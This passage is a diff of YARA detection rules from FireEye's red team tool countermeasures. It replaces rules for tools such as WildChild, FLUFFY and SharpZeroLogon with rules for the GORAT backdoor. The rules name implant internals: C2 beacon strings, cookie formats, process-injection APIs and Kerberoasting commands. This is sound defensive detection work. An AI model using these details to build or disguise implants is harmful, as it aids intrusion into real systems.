"82e33011ac34adfcced6cddc8ea56a81" + logic_hash = "c9892adcb9ff5471235e45988f6662d3b8f984fdafca7024a5781eed50f6c0b3" score = 75 quality = 73 tags = "FILE" - rev = 3 + rev = 7 strings: - $typelibguid1 = "FE4414D9-1D7E-4EEB-B781-D278FE7A5619" ascii nocase wide + $typelibguid1 = "78B2197B-2E56-425A-9585-56EDC2C797D6" ascii nocase wide condition: ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and $typelibguid1 } -rule FIREEYE_RT_Dropper_HTA_Wildchild_1 : FILE +rule FIREEYE_RT_APT_Backdoor_Win_GORAT_3 : FILE { meta: - description = "This rule looks for strings present in unobfuscated HTAs generated by the WildChild builder." + description = "This rule uses the same logic as FE_APT_Trojan_Win_GORAT_1_FEBeta with the addition of one check, to look for strings that are known to be in the Gorat implant when a certain cleaning script is not run against it." author = "FireEye" - id = "f570baa5-7d58-5a0a-b713-769e62076f76" + id = "94c195b5-b8e8-56a7-bc11-dbbe2f969b06" date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/WILDCHILD/production/yara/Dropper_HTA_WildChild_1.yar#L4-L24" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE (Gorat)/production/yara/APT_Backdoor_Win_GORAT_3.yar#L4-L39" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "3e61ca5057633459e96897f79970a46d" - logic_hash = "60c1d53b8a43b9b7518f3260a4d61c6806641ee894a2a331a3a0a2ea0aff9d99" + hash = "995120b35db9d2f36d7d0ae0bfc9c10d" + logic_hash = "592745e9c67f7adf0cd48975ed1497211d8efeff29b52be1e2d082b9a648bb57" score = 75 - quality = 75 + quality = 28 tags = "FILE" rev = 5 strings: - $s1 = "processpath" ascii wide - $s2 = "v4.0.30319" ascii wide - $s3 = "v2.0.50727" ascii wide - $s4 = "COMPLUS_Version" ascii wide - $s5 = "FromBase64Transform" ascii wide - $s6 = "MemoryStream" ascii wide - $s7 = "entry_class" ascii wide - $s8 = "DynamicInvoke" ascii wide - $s9 = "Sendoff" ascii wide - $script_header = "<script language=" ascii wide - - condition: - $script_header at 0 and all of ( $s* ) -} -rule FIREEYE_RT_Loader_MSIL_Wildchild_1 : FILE -{ - meta: - description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the WildChild project." - author = "FireEye" - id = "350dd658-46c9-573b-b532-07e4b437ba8d" - date = "2020-12-08" - modified = "2020-12-09" - reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/WILDCHILD/production/yara/Loader_MSIL_WildChild_1.yar#L4-L15" - license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "7e6bc0ed11c2532b2ae7060327457812" - logic_hash = "e4320e33770613542182518ec787e4ccbb32f83c8afca5ec957d4846e6f4eb04" - score = 75 - quality = 73 - tags = "FILE" - rev = 4 - - strings: - $typelibguid1 = "2e71d5ff-ece4-4006-9e98-37bb724a7780" ascii nocase wide + $dirty1 = "fireeye" ascii nocase wide + $dirty2 = "kulinacs" ascii nocase wide + $dirty3 = "RedFlare" ascii nocase wide + $dirty4 = "gorat" ascii nocase wide + $dirty5 = "flare" ascii nocase wide + $go1 = "go.buildid" ascii wide + $go2 = "Go build ID:" ascii wide + $json1 = "json:\"pid\"" ascii wide + $json2 = "json:\"key\"" ascii wide + $json3 = "json:\"agent_time\"" ascii wide + $json4 = "json:\"rid\"" ascii wide + $json5 = "json:\"ports\"" ascii wide + $json6 = "json:\"agent_platform\"" ascii wide + $rat = "rat" ascii wide + $str1 = "handleCommand" ascii wide + $str2 = "sendBeacon" ascii wide + $str3 = "rat.AgentVersion" ascii wide + $str4 = "rat.Core" ascii wide + $str5 = "rat/log" ascii wide + $str6 = "rat/comms" ascii wide + $str7 = "rat/modules" ascii wide + $str8 = "murica" ascii wide + $str9 = "master secret" ascii wide + $str10 = "TaskID" ascii wide + $str11 = "rat.New" ascii wide condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and $typelibguid1 + uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 and filesize < 10MB and all of ( $go* ) and all of ( $json* ) and all of ( $str* ) and #rat > 1000 and any of ( $dirty* ) } -rule FIREEYE_RT_APT_Loader_MSIL_WILDCHILD_1 : FILE +rule FIREEYE_RT_APT_Backdoor_Win_GORAT_5 : FILE { meta: description = "No description has been set in the source file - FireEye-RT" author = "FireEye" - id = "b9e0707e-98eb-55da-ad1d-6a84bd113747" - date = "2020-12-01" - date = "2020-12-01" + id = "73102bd2-7b94-5c7b-b9a4-cfc9cf5e3212" + date = "2020-12-02" + date = "2020-12-02" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/WILDCHILD/production/yara/APT_Loader_MSIL_WILDCHILD_1.yar#L4-L18" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE (Gorat)/production/yara/APT_Backdoor_Win_GORAT_5.yar#L4-L23" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "6f04a93753ae3ae043203437832363c4" - logic_hash = "a600c3d127f77dc1f99160e4a242e005970de0abd1798296b6a351b968ca1350" + hash = "cdf58a48757010d9891c62940c439adb, a107850eb20a4bb3cc59dbd6861eaf0f" + logic_hash = "67f85fb3bedfd18a1226c92318f387be3c7ff9566ca2d554c49cf62389482552" score = 75 quality = 75 tags = "FILE" rev = 1 strings: - $s1 = "\x00QueueUserAPC\x00" - $s2 = "\x00WriteProcessMemory\x00" - $sb1 = { 6F [2] 00 0A 28 [2] 00 0A 6F [2] 00 0A 13 ?? 28 [2] 00 0A 28 [2] 00 0A 13 ?? 11 ?? 11 ?? 28 [2] 00 0A [0-16] 7B [2] 00 04 1? 20 [4] 28 [2] 00 0A 11 ?? 28 [2] 00 0A 28 [2] 00 0A 7E [2] 00 0A 7E [2] 00 0A 28 [2] 00 06 [0-16] 14 7E [2] 00 0A 7E [2] 00 0A 1? 20 04 00 08 08 7E [2] 00 0A 14 12 ?? 12 ?? 28 [2] 00 06 [0-16] 7B [2] 00 04 7E [2] 00 0A [0-16] 8E ?? 7E [2] 00 04 7E [2] 00 04 28 [2] 00 06 [4-120] 28 [2] 00 06 [0-80] 6F [2] 00 0A 6F [2] 00 0A 28 [2] 00 06 13 ?? 11 ?? 11 ?? 7E [2] 00 0A 28 [2] 00 06 } - - condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them -} -rule FIREEYE_RT_Trojan_Macro_RESUMEPLEASE_1 -{ - meta: - description = "No description has been set in the source file - FireEye-RT" - author = "FireEye" - id = "068662f6-28b8-5538-8bc3-6506565305ae" - date = "2020-12-01" - date = "2020-12-01" - modified = "2020-12-09" - reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/RESUMEPLEASE/production/yara/Trojan_Macro_RESUMEPLEASE_1.yar#L4-L21" - license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "d5d3d23c8573d999f1c48d3e211b1066" - logic_hash = "040457bc446e496431129ff4623ddda5d9c2ce339ba65a7fbe42114626f36c60" - score = 75 - quality = 75 - tags = "" - rev = 1 - - strings: - $str00 = "For Binary As" - $str01 = "Range.Text" - $str02 = "Environ(" - $str03 = "CByte(" - $str04 = ".SpawnInstance_" - $str05 = ".Create(" + $1 = "comms.BeaconData" fullword + $2 = "comms.CommandResponse" fullword + $3 = "rat.BaseChannel" fullword + $4 = "rat.Config" fullword + $5 = "rat.Core" fullword + $6 = "platforms.AgentPlatform" fullword + $7 = "GetHostID" fullword + $8 = "/rat/cmd/gorat_shared/dllmain.go" fullword condition: - all of them + ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them } -rule FIREEYE_RT_Loader_MSIL_Netshshellcoderunner_1 : FILE +rule FIREEYE_RT_Trojan_MSIL_GORAT_Module_Powershell_1 : FILE { meta: - description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'NetshShellCodeRunner' project." + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'RedFlare - Module - PowerShell' project." author = "FireEye" - id = "b3521812-7ea3-5f80-89bd-3bdd71b687f2" + id = "b0fba130-9cd9-5b7f-a806-9ff8099f5731" date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/NETSHSHELLCODERUNNER/production/yara/Loader_MSIL_NetshShellCodeRunner_1.yar#L4-L15" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE (Gorat)/production/yara/Trojan_MSIL_GORAT_Module_PowerShell_1.yar#L4-L16" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" hash = "dd8805d0e470e59b829d98397507d8c2" - logic_hash = "97f6475a9d42697f633e06a9b04a85021ca4920145eb4af257d71b431448f0e9" + logic_hash = "e596bc0316a4ef85f04c2683ebc7c94bf9b831843232c33e62c84991e4caeb97" score = 75 - quality = 73 - tags = "FILE" - rev = 2 - - strings: - $typelibguid0 = "49c045bc-59bb-4a00-85c3-4beb59b2ee12" ascii nocase wide - - condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them -} -rule FIREEYE_RT_APT_Hacktool_MSIL_GPOHUNT_1 : FILE -{ - meta: - description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'gpohunt' project." - author = "FireEye" - id = "e4325f11-103c-5893-8978-9a72f7ca6105" - date = "2020-12-08" - modified = "2020-12-09" - reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/GPOHUNT/production/yara/APT_HackTool_MSIL_GPOHUNT_1.yar#L4-L15" - license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "dd8805d0e470e59b829d98397507d8c2" - logic_hash = "4b1f175dac123a6340494e2730d66c718478fb7618dc5611315992ed33e0f6c7" - score = 50 - quality = 73 + quality = 71 tags = "FILE" - rev = 3 + rev = 1 strings: - $typelibguid0 = "751a9270-2de0-4c81-9e29-872cd6378303" ascii nocase wide + $typelibguid0 = "38d89034-2dd9-4367-8a6e-5409827a243a" ascii nocase wide + $typelibguid1 = "845ee9dc-97c9-4c48-834e-dc31ee007c25" ascii nocase wide condition: ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them } -rule FIREEYE_RT_Hacktool_MSIL_Corehound_1 : FILE +rule FIREEYE_RT_Trojan_MSIL_GORAT_Plugin_DOTNET_1 : FILE { meta: - description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'CoreHound' project." + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'RedFlare - Plugin - .NET' project." author = "FireEye" - id = "8c914b34-3e3d-53ae-a5e4-9dbfdff45a24" + id = "faa73d64-4bb1-5c06-a3a5-1f1aa99ea932" date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/COREHOUND/production/yara/HackTool_MSIL_CoreHound_1.yar#L4-L15" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE (Gorat)/production/yara/Trojan_MSIL_GORAT_Plugin_DOTNET_1.yar#L4-L16" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" hash = "dd8805d0e470e59b829d98397507d8c2" - logic_hash = "b0f759709428d5c9404507a13259bf85cb8c405d38b807539098f7cc871023d8" + logic_hash = "e979822273c6d1ccdfebd341c9e2cb1040fe34a04e8b41c024885063fd946ad5" score = 75 - quality = 73 + quality = 71 tags = "FILE" rev = 1 strings: - $typelibguid0 = "1fff2aee-a540-4613-94ee-4f208b30c599" ascii nocase wide + $typelibguid0 = "cd9407d0-fc8d-41ed-832d-da94daa3e064" ascii nocase wide + $typelibguid1 = "fc3daedf-1d01-4490-8032-b978079d8c2d" ascii nocase wide condition: ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them } -rule FIREEYE_RT_APT_Hacktool_MSIL_FLUFFY_2 : FILE +rule FIREEYE_RT_APT_Backdoor_Win_GORAT_1 : FILE { meta: - description = "No description has been set in the source file - FireEye-RT" + description = "This detects if a sample is less than 50KB and has a number of strings found in the Gorat shellcode (stage0 loader). The loader contains an embedded DLL (stage0.dll) that contains a number of unique strings. The 'Cookie' string found in this loader is important as this cookie is needed by the C2 server to download the Gorat implant (stage1 payload)." author = "FireEye" - id = "ce39710e-7649-5f7d-bbbe-65dc30f678e8" - date = "2020-12-04" - date = "2020-12-04" + id = "5ac84cf1-49fb-533d-b211-b1a92239063b" + date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/FLUFFY/production/yara/APT_HackTool_MSIL_FLUFFY_2.yar#L4-L21" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE (Gorat)/production/yara/APT_Backdoor_Win_GORAT_1.yar#L4-L23" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "11b5aceb428c3e8c61ed24a8ca50553e" - logic_hash = "872ab717668375a49d6c7b1927a680747b405c0198fe4fc6f43ccc562870eb37" + hash = "66cdaa156e4d372cfa3dea0137850d20" + logic_hash = "f6a0a923f64375e7ffdc080aec41db19a9e162405f1290ed0bbcce5a342bdadb" score = 75 quality = 75 tags = "FILE" - rev = 1 + rev = 4 strings: - $s1 = "\x00Asktgt\x00" - $s2 = "\x00Kerberoast\x00" - $s3 = "\x00HarvestCommand\x00" - $s4 = "\x00EnumerateTickets\x00" - $s5 = "[*] Action: " wide - $s6 = "\x00Fluffy.Commands\x00" + $s1 = "httpComms.dll" ascii wide + $s2 = "Cookie: SID1=%s" ascii wide + $s3 = "Global\\" ascii wide + $s4 = "stage0.dll" ascii wide + $s5 = "runCommand" ascii wide + $s6 = "getData" ascii wide + $s7 = "initialize" ascii wide + $s8 = "Windows NT %d.%d;" ascii wide + $s9 = "!This program cannot be run in DOS mode." ascii wide condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them + filesize < 50KB and all of them } -rule FIREEYE_RT_APT_Hacktool_MSIL_FLUFFY_1 : FILE +rule FIREEYE_RT_APT_Backdoor_Macos_GORAT_1 : FILE { meta: - description = "No description has been set in the source file - FireEye-RT" + description = "This rule is looking for specific strings associated with network activity found within the MacOS generated variant of GORAT" author = "FireEye" - id = "6593202d-9b30-59ed-98c0-3e730fb5ceb7" - date = "2020-12-04" - date = "2020-12-04" + id = "4646eadb-7acf-582f-9ad6-00f012ceed8a" + date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/FLUFFY/production/yara/APT_HackTool_MSIL_FLUFFY_1.yar#L4-L18" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE (Gorat)/production/yara/APT_Backdoor_MacOS_GORAT_1.yar#L4-L19" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "11b5aceb428c3e8c61ed24a8ca50553e" - logic_hash = "4d91c96ab7b628e88f79ee193612acc959448fe2220ef54371f5f5c6e7305d86" + hash = "68acf11f5e456744262ff31beae58526" + logic_hash = "2df5f87d44968670511880d21ad184779d0561c7c426a5d6426bcefd0904a9b7" score = 75 quality = 75 tags = "FILE" - rev = 1 + rev = 3 strings: - $sb1 = { 0E ?? 1? 72 [4] 28 [2] 00 06 [0-16] 28 [2] 00 0A [2-80] 1F 58 0? [0-32] 28 [2] 00 06 [2-32] 1? 28 [2] 00 06 0? 0? 6F [2] 00 06 [2-4] 1F 0B } - $sb2 = { 73 [2] 00 06 13 ?? 11 ?? 11 ?? 7D [2] 00 04 11 ?? 73 [2] 00 0A 7D [2] 00 04 0E ?? 2D ?? 11 ?? 7B [2] 00 04 72 [4] 28 [2] 00 0A [2-32] 0? 28 [2] 00 0A [2-16] 11 ?? 7B [2] 00 04 0? 28 [2] 00 0A 1? 28 [2] 00 0A [2-32] 7E [2] 00 0A [0-32] FE 15 [2] 00 02 [0-16] 7D [2] 00 04 28 [2] 00 06 [2-32] 7B [2] 00 04 7D [2] 00 04 [2-32] 7C [2] 00 04 FE 15 [2] 00 02 [0-16] 11 ?? 8C [2] 00 02 28 [2] 00 0A 28 [2] 00 0A [2-80] 8C [2] 00 02 28 [2] 00 0A 12 ?? 12 ?? 12 ?? 28 [2] 00 06 } - $ss1 = "\x00Fluffy\x00" + $s1 = "SID1=%s" ascii wide + $s2 = "http/http.dylib" ascii wide + $s3 = "Mozilla/" ascii wide + $s4 = "User-Agent" ascii wide + $s5 = "Cookie" ascii wide condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them + (( uint32( 0 ) == 0xBEBAFECA ) or ( uint32( 0 ) == 0xFEEDFACE ) or ( uint32( 0 ) == 0xFEEDFACF ) or ( uint32( 0 ) == 0xCEFAEDFE ) ) and all of them } -rule FIREEYE_RT_Loader_MSIL_Wmirunner_1 : FILE +rule FIREEYE_RT_APT_Backdoor_Win_Gorat_Memory { meta: - description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'WMIRunner' project." + description = "Identifies GoRat malware in memory based on strings." author = "FireEye" - id = "04c6acfc-859f-5e4a-8c59-9adf08f21657" + id = "16fb1db7-711c-5d8d-9203-738c94f253fe" date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/WMIRUNNER/production/yara/Loader_MSIL_WMIRunner_1.yar#L4-L15" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE (Gorat)/production/yara/APT_Backdoor_Win_GoRat_Memory.yar#L4-L27" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "dd8805d0e470e59b829d98397507d8c2" - logic_hash = "49d21756a4f0b29909c4b0fa9f3a98dd0480f9401923032de4b3920814b85f29" + hash = "3b926b5762e13ceec7ac3a61e85c93bb" + logic_hash = "88272e59325d106f96d6b6f1d57daf968823c1e760067dee0334c66c521ce8c2" score = 75 - quality = 73 - tags = "FILE" + quality = 75 + tags = "" rev = 1 strings: - $typelibguid0 = "6cc61995-9fd5-4649-b3cc-6f001d60ceda" ascii nocase wide + $murica = "murica" fullword + $rat1 = "rat/modules/socks.(*HTTPProxyClient).beacon" fullword + $rat2 = "rat.(*Core).generateBeacon" fullword + $rat3 = "rat.gJitter" fullword + $rat4 = "rat/comms.(*protectedChannel).SendCmdResponse" fullword + $rat5 = "rat/modules/filemgmt.(*acquire).NewCommandExecution" fullword + $rat6 = "rat/modules/latlisten.(*latlistensrv).handleCmd" fullword + $rat7 = "rat/modules/netsweeper.(*netsweeperRunner).runSweep" fullword + $rat8 = "rat/modules/netsweeper.(*Pinger).listen" fullword + $rat9 = "rat/modules/socks.(*HTTPProxyClient).beacon" fullword + $rat10 = "rat/platforms/win/dyloader.(*memoryLoader).ExecutePluginFunction" fullword + $rat11 = "rat/platforms/win/modules/namedpipe.(*dummy).Open" fullword + $winblows = "rat/platforms/win.(*winblows).GetStage" fullword condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them + $winblows or #murica > 10 or 3 of ( $rat* ) } -rule FIREEYE_RT_Hacktool_MSIL_SHARPZEROLOGON_1 : FILE + +rule FIREEYE_RT_APT_Backdoor_Win_GORAT_4 : FILE { meta: - description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public 'sharpzerologon' project." + description = "Verifies that the sample is a Windows PE that is less than 10MB in size and exports numerous functions that are known to be exported by the Gorat implant. This is done in an effort to provide detection for packed samples that may not have other strings but will need to replicate exports to maintain functionality." author = "FireEye" - id = "51f22eee-fb96-55b0-8c02-1a0e9910a93e" + id = "fa3bcaad-c210-5b9c-8567-fe85b8e78055" date = "2020-12-08" - modified = "2020-12-09" + modified = "2021-03-03" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPZEROLOGON/production/yara/HackTool_MSIL_SHARPZEROLOGON_1.yar#L4-L15" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE (Gorat)/production/yara/APT_Backdoor_Win_GORAT_4.yar#L5-L16" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "dd8805d0e470e59b829d98397507d8c2" - logic_hash = "ed6a9bef5c6ee03aff969b8765b284ace517f2e6a1ef114acb04cf094c69cfa5" + hash = "f59095f0ab15f26a1ead7eed8cdb4902" + logic_hash = "ec201614cb91fae9d7c89febfa22dfd6ba7f353e0eeb0b2fec6c8d887992e79e" score = 75 - quality = 73 + quality = 25 tags = "FILE" - rev = 3 + rev = 8 strings: - $typelibguid0 = "15ce9a3c-4609-4184-87b2-e29fc5e2b770" ascii nocase wide + $mz = "MZ" condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them + $mz at 0 and uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 and filesize < 10MB and pe.exports ( "MemoryCallEntryPoint" ) and pe.exports ( "MemoryDefaultAlloc" ) and pe.exports ( "MemoryDefaultFree" ) and pe.exports ( "MemoryDefaultFreeLibrary" ) and pe.exports ( "MemoryDefaultGetProcAddress" ) and pe.exports ( "MemoryDefaultLoadLibrary" ) and pe.exports ( "MemoryFindResource" ) and pe.exports ( "MemoryFindResourceEx" ) and pe.exports ( "MemoryFreeLibrary" ) and pe.exports ( "MemoryGetProcAddress" ) and pe.exports ( "MemoryLoadLibrary" ) and pe.exports ( "MemoryLoadLibraryEx" ) and pe.exports ( "MemoryLoadResource" ) and pe.exports ( "MemoryLoadString" ) and pe.exports ( "MemoryLoadStringEx" ) and pe.exports ( "MemorySizeofResource" ) and pe.exports ( "callback" ) and pe.exports ( "crosscall2" ) and pe.exports ( "crosscall_386" ) } -rule FIREEYE_RT_FE_APT_Loader_MSIL_REVOLVER_1 : FILE +rule FIREEYE_RT_APT_Backdoor_Win_GORAT_2 : FILE { meta: - description = "No description has been set in the source file - FireEye-RT" + description = "Verifies that the sample is a Windows PE that is less than 10MB in size and has the Go build ID strings. Then checks for various strings known to be in the Gorat implant including strings used in C2 json, names of methods, and the unique string 'murica' used in C2 comms. A check is done to ensure the string 'rat' appears in the binary over 1000 times as it is the name of the project used by the implant and is present well over 2000 times." author = "FireEye" - id = "d99620e0-39ed-58db-acce-0d885a9e0bf7" - date = "2020-12-18" - modified = "2020-12-18" + id = "e2c47711-d088-5cb4-8d21-f8199a865a28" + date = "2020-12-08" + modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REVOLVER/production/yara/APT_Loader_MSIL_REVOLVER_1.yar#L5-L14" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE (Gorat)/production/yara/APT_Backdoor_Win_GORAT_2.yar#L4-L34" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - logic_hash = "1231f4c961dec122ebcb142052c2c7c03acf9b556cdb71a3efabde6bcf50a939" + hash = "f59095f0ab15f26a1ead7eed8cdb4902" + logic_hash = "8efc904498386d89879766a5021148a250f639bc328df12a34cfc8d620df6f6c" score = 75 quality = 50 tags = "FILE" + rev = 7 strings: - $inject = { 28 [2] 00 06 0? 0? 7B [2] 00 04 7E [2] 00 0A 28 [2] 00 0A [2-40] 7E [2] 00 0A 0? 20 00 10 00 00 28 [2] 00 0A 0? 28 [2] 00 0A 6F [2] 00 0A 1? ?? 7E [2] 00 0A 1? ?? 20 00 30 00 00 1F 40 28 [2] 00 06 [2-40] 28 [2] 00 0A 1? 3? ?? 7E [2] 00 04 7E [2] 00 04 28 [2] 00 0A 28 [2] 00 06 1? ?? 1? ?? 1? 0? 1? ?? 8? 6? 28 [2] 00 0A 2? ?? 7E [2] 00 04 7E [2] 00 04 28 [2] 00 0A 28 [2] 00 06 1? ?? 1? ?? 1? 0? 1? ?? 8? 6? 28 [2] 00 0A 1? ?? FE 15 [2] 00 02 1? ?? 72 [2] 00 70 28 [2] 00 06 1? ?? FE 15 [2] 00 02 1? ?? 1? ?? 1? 28 [2] 00 06 2? 7E [2] 00 0A 1? ?? 0? 7B [2] 00 04 1? ?? 1? 1? ?? 28 [2] 00 06 2? ?? 1? ?? 7E [2] 00 0A 28 [2] 00 0A [2-10] 7E [2] 00 0A 1? ?? 1? ?? 20 [2] 1F 00 7E [2] 00 0A 28 [2] 00 0A 6F [2] 00 0A 1? ?? 7E [2] 00 0A 1? 1? 20 [2] 00 00 20 [2] 00 00 7E [2] 00 0A 28 [2] 00 06 2? 1? ?? 7E [2] 00 0A 28 [2] 00 0A [2-40] 1? ?? 0? 7E [2] 00 0A 7E [2] 00 0A 7E [2] 00 0A 28 [2] 00 06 2? ?? 2? 1? 1? ?? 1? ?? 1? ?? 28 [2] 00 06 } - $iz1 = /_Cor(Exe|Dll)Main/ fullword + $go1 = "go.buildid" ascii wide + $go2 = "Go build ID:" ascii wide + $json1 = "json:\"pid\"" ascii wide + $json2 = "json:\"key\"" ascii wide + $json3 = "json:\"agent_time\"" ascii wide + $json4 = "json:\"rid\"" ascii wide + $json5 = "json:\"ports\"" ascii wide + $json6 = "json:\"agent_platform\"" ascii wide + $rat = "rat" ascii wide + $str1 = "handleCommand" ascii wide + $str2 = "sendBeacon" ascii wide + $str3 = "rat.AgentVersion" ascii wide + $str4 = "rat.Core" ascii wide + $str5 = "rat/log" ascii wide + $str6 = "rat/comms" ascii wide + $str7 = "rat/modules" ascii wide + $str8 = "murica" ascii wide + $str9 = "master secret" ascii wide + $str10 = "TaskID" ascii wide + $str11 = "rat.New" ascii wide condition: - ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them + uint16( 0 ) == 0x5A4D and uint32( uint32( 